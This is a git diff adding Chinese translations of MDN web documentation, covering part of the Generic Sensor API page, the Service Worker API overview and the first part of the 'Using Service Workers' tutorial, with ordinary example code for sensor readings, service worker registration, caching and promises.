+    console.log('Permission to use accelerometer sensor is denied.');
+    return;
+  }
+  // Use the sensor.
+}
+ +

另外一种方式是利用错误并侦听SecurityError事件。

+ +
const sensor = new AbsoluteOrientationSensor();
+sensor.start();
+sensor.onerror = event => {
+  if (event.error.name === 'SecurityError')
+    console.log("No permissions to use AbsoluteOrientationSensor.");
+};
+ +

下表描述了每种传感器类型,使用它们在Permissions API、{{HTMLElement('iframe')}} 元素中allow 属性,以及{{httpheader('Feature-Policy')}}语句中被引用时使用的名字。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Sensor permissions
SensorPermission/Feature Policy Name
AbsoluteOrientationSensor'accelerometer''gyroscope', and 'magnetometer'
Accelerometer'accelerometer'
AmbientLightSensor'ambient-light-sensor'
Gyroscope'gyroscope'
LinearAccelerationSensor'accelerometer'
Magnetometer'magnetometer'
RelativeOrientationSensor'accelerometer', and 'gyroscope'
+ +

读数

+ +

传感器读数通过{{domxref('Sensor.onreading')}}回调函数获得,该回调函数被所有传感器类型继承。读取频率可通过在传感器的构造函数中带相应的选项来指定。此选项是一个数值,它指定每秒读取的次数。可使用整数或小数,后者用于频率低于每秒一次的情况。实际的读取频率依赖于器件的硬件实现因而可能小于所请求的频率。

+ +

下面以{{domxref('Magnetometer')}}为例展示使用方法。

+ +
let magSensor = new Magnetometer({frequency: 60});
+
+magSensor.addEventListener('reading', e => {
+  console.log("Magnetic field along the X-axis " + magSensor.x);
+  console.log("Magnetic field along the Y-axis " + magSensor.y);
+  console.log("Magnetic field along the Z-axis " + magSensor.z);
+})
+magSensor.addEventListener('error', event => {
+  console.log(event.error.name, event.error.message);
+})
+magSensor.start();
+ +

防御性编程

+ +

防御性编程(defensive programming)要遵循下面三个原则:

+ + + +

下面的示例代码说明以上原则。{{jsxref('statements/try...catch', 'try...catch')}}代码块捕捉在实例化传感器时抛出的错误。它实现了一个{{domxref('Sensor.onerror')}}处理函数以捕捉使用中抛出的错误。它只在以下情况下提示用户:需要请求权限时,以及所请求的传感器类型在设备上不支持时。

+ +
+

如果一个功能策略(feature policy)阻止了对某功能的使用,这是因为你的代码与你的服务器上设置的策略不一致。这种情况是不应该显示给用户看的。具体实现请参见{{httpheader('Feature-Policy')}}。

+
+ +
let accelerometer = null;
+try {
+    accelerometer = new Accelerometer({ referenceFrame: 'device' });
+    accelerometer.addEventListener('error', event => {
+        // Handle runtime errors.
+        if (event.error.name === 'NotAllowedError') {
+            // Branch to code for requesting permission.
+        } else if (event.error.name === 'NotReadableError' ) {
+            console.log('Cannot connect to the sensor.');
+        }
+    });
+    accelerometer.addEventListener('reading', () => reloadOnShake(accelerometer));
+    accelerometer.start();
+} catch (error) {
+    // Handle construction errors.
+    if (error.name === 'SecurityError') {
+        // See the note above about feature policy.
+        console.log('Sensor construction was blocked by a feature policy.');
+    } else if (error.name === 'ReferenceError') {
+        console.log('Sensor is not supported by the User Agent.');
+    } else {
+        throw error;
+    }
+}
+ +

接口

+ +
+
{{domxref('AbsoluteOrientationSensor')}}
+
描述相对于地球参考坐标系的设备物理方向。
+
{{domxref('Accelerometer')}}
+
提供沿三个轴的加速度。
+
{{domxref('AmbientLightSensor')}}
+
返回当前光照强度或环境光照度。
+
{{domxref('Gyroscope')}}
+
提供三个轴向的角速度。
+
{{domxref('LinearAccelerationSensor')}}
+
提供去除重力贡献部分之后的沿三个轴的加速度。
+
{{domxref('Magnetometer')}}
+
提供由设备主磁传感器检测到的磁场信息。
+
{{domxref('OrientationSensor')}}
+
{{domxref('AbsoluteOrientationSensor')}}的基类。本接口不能直接使用。它提供其继承类可访问的属性和方法。
+
{{domxref('RelativeOrientationSensor')}}
+
描述设备与地球参考坐标系无关的物理方向。  
+
{{domxref('Sensor')}}
+
所有其它传感器接口的基类。本接口不能直接使用。它提供其继承类可访问的属性、事件处理函数及方法。
+
{{domxref('SensorErrorEvent')}}
+
提供由{{domxref('Sensor')}}或其相关的接口抛出的错误的信息。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Generic Sensor')}}{{Spec2('Generic Sensor')}}初始定义。
{{SpecName('Accelerometer')}}{{Spec2('Accelerometer')}}定义AccelerometerLinearAccerationSensor
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}} 
{{SpecName('Gyroscope')}}{{Spec2('Gyroscope')}}初始定义。
{{SpecName('Magnetometer')}}{{Spec2('Magnetometer')}} 
{{SpecName('Orientation Sensor')}}{{Spec2('Orientation Sensor')}}定义AbsoluteOrientationSensorRelativeOrientationSensor
+ +

浏览器兼容性

+ + + +

{{Compat("api.Sensor")}}

diff --git a/files/zh-cn/web/api/service_worker_api/index.html b/files/zh-cn/web/api/service_worker_api/index.html new file mode 100644 index 0000000000..1f47ee9df2 --- /dev/null +++ b/files/zh-cn/web/api/service_worker_api/index.html @@ -0,0 +1,288 @@ +--- +title: Service Worker API +slug: Web/API/Service_Worker_API +tags: + - API + - Offline + - SAP + - Service Worker + - WPA + - Workers +translation_of: Web/API/Service_Worker_API +--- +

{{ServiceWorkerSidebar}}

+ +

Service workers 本质上充当 Web 应用程序、浏览器与网络(可用时)之间的代理服务器。这个 API 旨在创建有效的离线体验,它会拦截网络请求并根据网络是否可用采取来适当的动作、更新来自服务器的的资源。它还提供入口以推送通知和访问后台同步 API。

+ +

Service worker 的概念和用法

+ +

Service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。

+ +

Service worker运行在worker上下文,因此它不能访问DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,所以不会造成阻塞。它设计为完全异步,同步API(如XHRlocalStorage)不能在service worker中使用。

+ +

出于安全考量,Service workers只能由HTTPS承载,毕竟修改网络请求的能力暴露给中间人攻击会非常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。

+ +
+

注意:Service workers之所以优于以前同类尝试(如AppCache),是因为它们无法支持当操作出错时终止操作。Service workers可以更细致地控制每一件事情。

+
+ +
+

注意:Service workers大量使用Promise,因为通常它们会等待响应后继续,并根据响应返回一个成功或者失败的操作。Promise非常适合这种场景。

+
+ +

注册

+ +

使用 {{domxref("ServiceWorkerContainer.register()")}} 方法首次注册service worker。如果注册成功,service worker就会被下载到客户端并尝试安装或激活(见下文),这将作用于整个域内用户可访问的URL,或者其特定子集。

+ +

下载、安装和激活

+ +

此时,你的服务工作者(service worker)将遵守以下生命周期:

+ +
    +
  1. 下载
  2. +
  3. 安装
  4. +
  5. 激活
  6. +
+ +

用户首次访问service worker控制的网站或页面时,service worker会立刻被下载。

+ +

之后,在以下情况将会触发更新:

+ + + +

无论它与现有service worker不同(字节对比),还是第一次在页面或网站遇到service worker,如果下载的文件是新的,安装就会尝试进行。

+ +

如果这是首次启用service worker,页面会首先尝试安装,安装成功后它会被激活。

+ +

如果现有service worker已启用,新版本会在后台安装,但不会被激活,这个时序称为worker in waiting。直到所有已加载的页面不再使用旧的service worker才会激活新的service worker。只要页面不再依赖旧的service worker,新的service worker会被激活(成为active worker)。

+ +

你可以监听{{domxref("InstallEvent")}},事件触发时的标准行为是准备service worker用于使用,例如使用内建的storage API来创建缓存,并且放置应用离线时所需资源。

+ +

还有一个activate事件,触发时可以清理旧缓存和旧的service worker关联的东西。

+ +

Servcie worker可以通过 {{domxref("FetchEvent")}} 事件去响应请求。通过使用 {{domxref("FetchEvent.respondWith") }} 方法,你可以任意修改对于这些请求的响应。

+ +
+

注意: 因为oninstallonactivate完成前需要一些时间,service worker标准提供一个waitUntil方法,当oninstall或者onactivate触发时被调用,接受一个promise。在这个 promise被成功resolve以前,功能性事件不会分发到service worker。

+
+ +

构建一个基本用例的完整教程,请阅读 使用 Service Workers

+ +

其他使用场景

+ +

Service workers也可以用来做这些事情:

+ + + +

未来service workers能够用来做更多使web平台接近原生应用的事。 值得关注的是,其他标准也能并且将会使用service worker,例如:

+ + + +

接口

+ +
+
{{domxref("Cache") }} {{Experimental_Inline}}
+
表示用于{{domxref("Request")}}/{{domxref("Response")}}对象对的存储,作为{{domxref("ServiceWorker")}}生命周期的一部分被缓存。
+
{{domxref("CacheStorage") }} {{Experimental_Inline}}
+
表示{{domxref("Cache")}}对象的存储。提供一个所有命名缓存的主目录,{{domxref("ServiceWorker")}}可以访问并维护名字字符串到{{domxref("Cache")}}对象的映射。
+
{{domxref("Client") }} {{Experimental_Inline}}
+
表示service worker client的作用域。一个service worker client可以是浏览器上下文的一个文档,也可以是一个由活动worker控制的{{domxref("SharedWorker")}}。
+
{{domxref("Clients") }} {{Experimental_Inline}}
+
表示一个{{domxref("Client")}}对象容器,是访问当前源的活动service worker clients的主要途径。
+
{{domxref("ExtendableEvent") }} {{Experimental_Inline}}
+
扩展被分发到{{domxref("ServiceWorkerGlobalScope")}}的install和activate事件时序,作为service worker生命周期的一部分。这会确保任何功能型事件(如{{domxref("FetchEvent")}})不被分发到{{domxref("ServiceWorker")}},直到它更新了数据库架构、删除过期缓存项等等以后。
+
{{DOMxRef("ExtendableMessageEvent")}} {{Experimental_Inline}}
+
The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{DOMxRef("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.
+
{{domxref("FetchEvent") }}{{Experimental_Inline}}
+
传递给{{domxref("ServiceWorkerGlobalScope.onfetch")}}处理函数的参数,FetchEvent代表一个在{{domxref("ServiceWorker")}}的{{domxref("ServiceWorkerGlobalScope")}}中分发的请求动作。它包含关于请求和响应的结果信息,并且提供{{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}}方法,这个方法允许我们提供任意的响应返回到控制页面。
+
{{domxref("InstallEvent") }}{{Experimental_Inline}}
+
传递给{{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}}处理函数的参数,InstallEvent接口代表一个在{{domxref("ServiceWorker")}}的{{domxref("ServiceWorkerGlobalScope")}}中分发的安装动作,作为{{domxref("ExtendableEvent")}}的子事件,它保证诸如{{domxref("FetchEvent")}} 的功能性事件在安装过程中不会被分发。
+
{{DOMxRef("NavigationPreloadManager")}} {{Experimental_Inline}}
+
Provides methods for managing the preloading of resources with a service worker.
+
{{domxref("Navigator.serviceWorker") }}
+
返回一个{{domxref("ServiceWorkerContainer")}}对象,可以提供入口用于注册,删除,更新以及与在相关 document中{{domxref("ServiceWorker")}}通信的对象。
+
{{domxref("NotificationEvent") }} {{Experimental_Inline}}
+
传递给{{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}处理函数的参数,NotificationEvent 接口代表在{{domxref("ServiceWorker")}}里{{domxref("ServiceWorkerGlobalScope")}}中分发的单击事件通知。
+
+ +
+
{{domxref("ServiceWorker") }} {{Experimental_Inline}}
+
表示一个service worker。多个浏览的上下文(例如pages,workers等等)都能通过相同的ServiceWorker对象相关联。
+
{{domxref("ServiceWorkerContainer") }} {{Experimental_Inline}}
+
提供一个在网络生态中把service worker 作为一个整体的对象,包括辅助注册,反注册以及更新服务工作者,并且访问service worker 的状态以及他们的注册信息。
+
{{domxref("ServiceWorkerGlobalScope") }}
+
表示service worker的全局执行上下文。
+
{{domxref("ServiceWorkerMessageEvent")}}{{Deprecated_Inline}}
+
包含关于一个发送给以navigator.serviceWorker为目标的事件信息。Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{DOMxRef("MessageEvent")}} interface, for consistency with other web messaging features.
+
{{domxref("ServiceWorkerRegistration") }}
+
表示service worker的注册。
+
{{DOMxRef("ServiceWorkerState")}} {{Experimental_Inline}}
+
Associated with its ServiceWorker's state.
+
{{domxref("SyncEvent")}} {{non-standard_inline}}
+
传递给同步函数的参数,SyncEvent接口代表在ServiceWorker里{{domxref("ServiceWorkerGlobalScope")}}分发的同步动作。
+
{{domxref("SyncManager")}} {{non-standard_inline}}
+
提供一个接口用于注册和返回{{domxref("SyncRegistration")}}对象。
+
{{domxref("WindowClient") }}{{Experimental_Inline}}
+
表示在浏览器上下文中记录的service worker客户端的作用域,被活动的工作者控制。是{{domxref("Client")}}对象的特殊类型,包含一些附加的方法和可用的属性。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{ CompatNo() }}24{{ CompatNo() }}
install/activate events{{ CompatChrome(40.0) }}{{ CompatGeckoDesktop("44.0") }}[1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
fetch event/request/
+ respondWith()
{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
caches/cache +

{{CompatChrome(42.0)}}

+
{{ CompatGeckoDesktop("39.0") }}[1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
install/activate events{{ CompatNo() }}{{CompatChrome(40.0)}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}
fetch event/request/
+ respondWith()
{{ CompatNo() }}{{CompatChrome(40.0)}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
caches/cache{{ CompatNo() }}{{CompatChrome(40.0)}}{{ CompatGeckoMobile("39.0") }}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/service_worker_api/using_service_workers/index.html b/files/zh-cn/web/api/service_worker_api/using_service_workers/index.html new file mode 100644 index 0000000000..6d3bb8217f --- /dev/null +++ b/files/zh-cn/web/api/service_worker_api/using_service_workers/index.html @@ -0,0 +1,451 @@ +--- +title: 使用 Service Workers +slug: Web/API/Service_Worker_API/Using_Service_Workers +tags: + - Guide + - Service Worker + - Web Worker + - Workers + - 教程 +translation_of: Web/API/Service_Worker_API/Using_Service_Workers +--- +

{{ServiceWorkerSidebar}}

+ +
+

本文是关于使用 service workers 的教程,包括讲解 service worker 的基本架构、怎么注册一个 service worker、一个新  service worker 的 install 及 activation 过程、怎么更新 service worker 还有它的缓存控制和自定义响应,这一切都在一个简单的离线的应用程序中。

+
+ +

背景

+ +

有一个困扰 web 用户多年的难题——丢失网络连接。即使是世界上最好的 web app,如果下载不了它,也是非常糟糕的体验。如今虽然已经有很多种技术去尝试着解决这一问题。而随着离线页面的出现,一些问题已经得到了解决。但是,最重要的问题是,仍然没有一个好的统筹机制对资源缓存和自定义的网络请求进行控制。
+
+ 之前的尝试 — AppCache — 看起来是个不错的方法,因为它可以很容易地指定需要离线缓存的资源。但是,它假定你使用时会遵循诸多规则,如果你不严格遵循这些规则,它会把你的APP搞得一团糟。关于APPCache的更多详情,请看Jake Archibald的文章: Application Cache is a Douchebag.

+ +
+

注意:  从Firefox44起,当使用 AppCache 来提供离线页面支持时,会提示一个警告消息,来建议开发者使用 Service workers 来实现离线页面。({{bug("1204581")}}.)

+
+ +

Service worker 最终要去解决这些问题。虽然 Service Worker 的语法比 AppCache 更加复杂,但是你可以使用 JavaScript 更加精细地控制 AppCache 的静默行为。有了它,你可以解决目前离线应用的问题,同时也可以做更多的事。 Service Worker 可以使你的应用先访问本地缓存资源,所以在离线状态时,在没有通过网络接收到更多的数据前,仍可以提供基本的功能(一般称之为 Offline First)。这是原生APP 本来就支持的功能,这也是相比于 web app,原生 app 更受青睐的主要原因。

+ +

使用前的设置

+ +

在已经支持 serivce workers 的浏览器的版本中,很多特性没有默认开启。如果你发现示例代码在当前版本的浏览器中怎么样都无法正常运行,你可能需要开启一下浏览器的相关配置:

+ + + +

另外,你需要通过 HTTPS 来访问你的页面 — 出于安全原因,Service Workers 要求必须在 HTTPS 下才能运行。Github 是个用来测试的好地方,因为它就支持HTTPS。为了便于本地开发,localhost 也被浏览器认为是安全源。

+ +

基本架构

+ +

通常遵循以下基本步骤来使用 service workers:

+ +
    +
  1. service worker URL 通过 {{domxref("serviceWorkerContainer.register()")}} 来获取和注册。
  2. +
  3. 如果注册成功,service worker 就在 {{domxref("ServiceWorkerGlobalScope") }} 环境中运行; 这是一个特殊类型的 worker 上下文运行环境,与主运行线程(执行脚本)相独立,同时也没有访问 DOM 的能力。
  4. +
  5. service worker 现在可以处理事件了。
  6. +
  7. 受 service worker 控制的页面打开后会尝试去安装 service worker。最先发送给 service worker 的事件是安装事件(在这个事件里可以开始进行填充 IndexDB和缓存站点资源)。这个流程同原生 APP 或者 Firefox OS APP 是一样的 — 让所有资源可离线访问。
  8. +
  9. 当 oninstall 事件的处理程序执行完毕后,可以认为 service worker 安装完成了。
  10. +
  11. 下一步是激活。当 service worker 安装完成后,会接收到一个激活事件(activate event)。 onactivate 主要用途是清理先前版本的 service worker 脚本中使用的资源。
  12. +
  13. Service Worker 现在可以控制页面了,但仅是在 register()  成功后的打开的页面。也就是说,页面起始于有没有 service worker ,且在页面的接下来生命周期内维持这个状态。所以,页面不得不重新加载以让 service worker 获得完全的控制。
  14. +
+ +

+ +

下图展示了 service worker 所有支持的事件:

+ +

install, activate, message, fetch, sync, push

+ +

Promises

+ +

Promises 是一种非常适用于异步操作的机制,一个操作依赖于另一个操作的成功执行。这是 service worker 的核心工作机制。
+
+ Promises 可以做很多事情。但现在,你只需要知道,如果有什么返回了一个promise,你可以在后面加上 .then() 来传入成功和失败的回调函数。或者,你可以在后面加上 .catch() 如果你想添加一个操作失败的回调函数。

+ +

接下来,让我们对比一下传统的同步回调结构,和异步promise结构,两者在功能上是等效的:

+ +

同步

+ +
try {
+  var value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}
+ +

异步

+ +
myFunction().then(function(value) {
+  console.log(value);
+}).catch(function(err) {
+  console.log(err);
+});
+ +

在上面第一个例子中,我们必须等待 myFunction( ) 执行完成,并返回 value值,在此之前,后续其它的代码无法执行。在第二个例子中,myFunction( ) 返回一个promise对象,下面的代码可以继续执行。当promise成功resolves后,then( ) 中的函数会异步地执行。
+
+ 现在来举下实际的例子 — 如果我们想动态地加载图片,而且要在图片下载完成后再展示到页面上,要怎么实现呢?这是一个比较常见的场景,但是实现起来会有点麻烦。我们可以使用 .onload 事件处理程序,来实现图片的加载完成后再展示。但是如果图片的 onload事件发生在我们监听这个事件之前呢?我们可以使用 .complete来解决这个问题,但是仍然不够简洁,如果是多个图片该怎么处理呢?并且,这种方法仍然是同步的操作,会阻塞主线程。
+
+ 相比于以上方法,我们可以使用 promise 来实现。(可以看我们的 Promises test 示例源码, look at it running live.)

+ +

{{note("service worker在实际使用中,会使用 caching 和 onfetch 等异步操作,而不是使用老旧的 XMLHttpRequest API。这里的例子使用 XMLHttpRequest API只是为了让你能将注意力集中于理解 Promise上。")}}

+ +
function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = function() {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}
+ +

我们使用 Promise( ) 构造函数返回了一个新的promise对象,构造函数接收一个回调函数作为参数。这个回调函数包含两个参数,第一个为成功执行(resolve)的回调函数,第二个为执行失败(reject)的回调函数。我们将这两个回调函数在对应的时机执行。在这个例子中,resolve会在请求返回状态码200的时候执行,reject会在请求返回码为非200的时候执行。上面代码的其余部分基本都是XHR的相关操作,现在不需要过多关注。

+ +

当我们调用 imgLoad( ) 函数时,传入要加载的图片url作为参数。然后,后面的代码与同步方式会有点不同:

+ +
var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, function(Error) {
+  console.log(Error);
+});
+ +

在函数调用后面,我们串联了 promise 的 then() 方法。then() 接受两个函数 —— 第一个函数在 promise 成功执行的情况下执行,而第二个函数则在 promise 执行失败情况下执行。当执行成功时,在 myImage 中显示图片,并追加到 body 里面(它的参数就是传递给 promise 的 resolve 方法的 request.response );当执行失败时,在控制台返回一个错误。

+ +

这些都是异步的。

+ +
+

注意: 你可以链式调用 promise,比如:
+ myPromise().then(success, failure).then(success).catch(failure);

+
+ +
+

注意: 你可以阅读 Jake Archibald 的精彩的文章  JavaScript Promises: there and back again 了解更多关于 promise 的内容

+
+ +

Service workers demo

+ +

为了演示 service worker 的基本的注册和安装,我们做了一个简单的例子 sw-test,这是一个简单的 Star wars Lego 图片库。采用了基于 promise 的函数从一个 JSON 对象来读取图片内容,在显示图片到页面上之前,采用 Ajax 来加载图片。页面非常简单,而且是静态的,但也注册、安装和激活了 service worker,当浏览器支持的时候,它将缓存所有依赖的文件,它可以在离线的时候访问!
+
+
+
+ 你可以查看 Github上的源码, 也可以查看 在线示例。有一点需要我们重点关注的是 promise (查看 app.js 22-47行),这是一个你上面读到的 Promises test demo 里的一个修改版,它们有以下不同: 

+ +
    +
  1. 原始的版本里,我们只传了一个我们想加载的图片的 URL 。在这个版本里,我们传了一个包含单个图片所有数据的 JSON (查看 image-list.js) 。这是因为每一个 promise reslove 的所有数据必须传给promise,因为它是异步的。如果你只传了 url ,那么当你 for 循环被遍历的时候你试图分别访问其他项,将不会有效的,因为 promise 的 resolve 不会和遍历(这个是同步的过程)同时完成。
  2. +
  3. 我们实际上用数组 resolve 了这些 promise,因为我们想让得到加载完的图片 blob 和 图片的名字、credit 和 alt 文本(查看 app.js  31-34 行)。Promises 只能 resolve 单个参数,所以你想 resolve 多个值的话,你需要用数组或对象。
  4. +
  5.  为了访问 promise resolved  的值,我们接着通过 then 函数进行获取(app.js 60-64行),这个有点古怪,但这就是 promise 工作的方式。
  6. +
+ +

现在来谈谈 Service workers

+ +

现在我们开始讨论 service workers !

+ +

注册你的 worker

+ +

我们 app 的 JavaScript 文件里 — app.js — 的第一块代码就像下面的一样。这是我们使用 service worker 的入口:

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', { scope: '/sw-test/' }).then(function(reg) {
+    // registration worked
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+}
+ +
    +
  1. 外面的代码块做了一个特性检查,在注册之前确保 service worker 是支持的。
  2. +
  3. 接着,我们使用 {{domxref("ServiceWorkerContainer.register()") }} 函数来注册站点的 service worker,service worker 只是一个驻留在我们的 app 内的一个 JavaScript 文件 (注意,这个文件的url 是相对于 origin, 而不是相对于引用它的那个 JS 文件)。
  4. +
  5.  scope 参数是选填的,可以被用来指定你想让 service worker 控制的内容的子目录。在这个例子例,我们指定了 '/sw-test/',表示 app 的 origin 下的所有内容。如果你留空的话,默认值也是这个值, 我们在指定只是作为例子。
  6. +
  7. .then() 函数链式调用我们的 promise,当 promise resolve 的时候,里面的代码就会执行。
  8. +
  9. 最后面我们链了一个 .catch() 函数,当 promise rejected 才会执行。
  10. +
+ +

这就注册了一个 service worker,它工作在 worker context,所以没有访问 DOM 的权限。在正常的页面之外运行 service worker 的代码来控制它们的加载。

+ +

单个 service worker 可以控制很多页面。每个你的 scope 里的页面加载完的时候,安装在页面的 service worker 可以控制它。牢记你需要小心 service worker 脚本里的全局变量: 每个页面不会有自己独有的worker。

+ +
+

注意: 你的 service worker 函数像一个代理服务器一样,允许你修改请求和响应,用他们的缓存替代它们等等。

+
+ +
+

注意: 关于 service workers 一个很棒的事情就是,如果你用像上面一样的浏览器特性检测方式检测发现浏览器并不支持SW,你还是可以正常地在线使用页面。与此同时,如果你在一个页面上同时使用 AppCache 和 SW , 不支持 SW 但是支持 AppCache  的浏览器,可以使用 AppCache,如果都支持的话,则会采用 SW

+
+ +

为什么我的 service worker 注册失败了?

+ +

可能是如下的原因:

+ +
    +
  1. 你没有在 HTTPS 下运行你的程序
  2. +
  3. service worker文件的地址没有写对— 需要相对于 origin , 而不是 app 的根目录。在我们的例子例, service worker 是在 https://mdn.github.io/sw-test/sw.js,app 的根目录是 https://mdn.github.io/sw-test/。应该写成 /sw-test/sw.js 而非 /sw.js.
  4. +
  5.  service worker 在不同的 origin 而不是你的app的,这是不被允许的。
  6. +
+ +

+ +

也请注意:

+ + + +

安装和激活:填充你的缓存

+ +

在你的 service worker 注册之后,浏览器会尝试为你的页面或站点安装并激活它。 
+
+ install 事件会在注册完成之后触发。install 事件一般是被用来填充你的浏览器的离线缓存能力。为了达成这个目的,我们使用了 Service Worker 的新的标志性的存储 API — {{domxref("cache")}} — 一个 service worker 上的全局对象,它使我们可以存储网络响应发来的资源,并且根据它们的请求来生成key。这个 API 和浏览器的标准的缓存工作原理很相似,但是是特定你的域的。它会一直持久存在,直到你告诉它不再存储,你拥有全部的控制权。

+ +
+

注意:  Cache API  并不被每个浏览器支持。(查看 {{anch("Browser support")}}  部分了解更多信息。) 如果你现在就想使用它,可以考虑采用一个 polyfill,比如  Google topeka demo,或者把你的资源存储在 IndexedDB 中。

+
+ +

让我们从一个代码示例来开始这个部分——这是 这是我们的 service worker 里的第一块代码 :

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+ +
    +
  1. 这里我们 新增了一个 install 事件监听器,接着在事件上接了一个{{domxref("ExtendableEvent.waitUntil()") }}  方法——这会确保Service Worker 不会在 waitUntil() 里面的代码执行完毕之前安装完成。
  2. +
  3. 在 waitUntil() 内,我们使用了 caches.open() 方法来创建了一个叫做 v1 的新的缓存,将会是我们的站点资源缓存的第一个版本。它返回了一个创建缓存的 promise,当它 resolved 的时候,我们接着会调用在创建的缓存示例上的一个方法  addAll(),这个方法的参数是一个由一组相对于 origin 的 URL 组成的数组,这些 URL 就是你想缓存的资源的列表。
  4. +
  5. 如果 promise 被 rejected,安装就会失败,这个 worker 不会做任何事情。这也是可以的,因为你可以修复你的代码,在下次注册发生的时候,又可以进行尝试。
  6. +
  7. 当安装成功完成之后, service worker 就会激活。在第一次你的 service worker 注册/激活时,这并不会有什么不同。但是当  service worker 更新 (稍后查看 {{anch("Updating your service worker") }} 部分) 的时候 ,就不太一样了。
  8. +
+ +
+

注意: localStorage 跟  service worker 的 cache 工作原理很类似,但是它是同步的,所以不允许在  service workers 内使用。

+
+ +
+

注意: IndexedDB 可以在  service worker 内做数据存储。

+
+ +

自定义请求的响应

+ +

现在你已经将你的站点资源缓存了,你需要告诉 service worker 让它用这些缓存内容来做点什么。有了 fetch 事件,这是很容易做到的。

+ +

+ +

每次任何被 service worker 控制的资源被请求到时,都会触发 fetch 事件,这些资源包括了指定的 scope 内的文档,和这些文档内引用的其他任何资源(比如 index.html 发起了一个跨域的请求来嵌入一个图片,这个也会通过 service worker 。)

+ +

你可以给 service worker 添加一个 fetch 的事件监听器,接着调用 event 上的 respondWith() 方法来劫持我们的 HTTP 响应,然后你用可以用自己的方法来更新他们。

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    // magic goes here
+  );
+});
+
+ +

我们可以用一个简单的例子开始,在任何情况下我们只是简单的响应这些缓存中的 url  和网络请求匹配的资源。

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});
+ +

caches.match(event.request) 允许我们对网络请求的资源和 cache 里可获取的资源进行匹配,查看是否缓存中有相应的资源。这个匹配通过 url 和 vary header进行,就像正常的 http 请求一样。

+ +

让我们看看我们在定义我们的方法时的一些其他的选项 (查看 Fetch API documentation 了解更多有关 {{domxref("Request")}} 和 {{domxref("Response")}} 对象的更多信息。)

+ +
    +
  1. +

     {{domxref("Response.Response","Response()")}} 构造函数允许你创建一个自定义的 response。在这个例子中,我们只返回一个示例的字符串:

    + +
    new Response('Hello from your friendly neighbourhood service worker!');
    +
  2. +
  3. +

    下面这个更复杂点的 Response 展示了你可以在你的响应里选择性的传一系列 header,来模仿标准的 HTTP 响应 header。这里我们只告诉浏览器我们虚假的响应的 content type:

    + +
    new Response('<p>Hello from your friendly neighbourhood service worker!</p>', {
    +  headers: { 'Content-Type': 'text/html' }
    +})
    +
  4. +
  5. +

    如果没有在缓存中找到匹配的资源,你可以告诉浏览器对着资源直接去 {{domxref("GlobalFetch.fetch","fetch")}} 默认的网络请求:

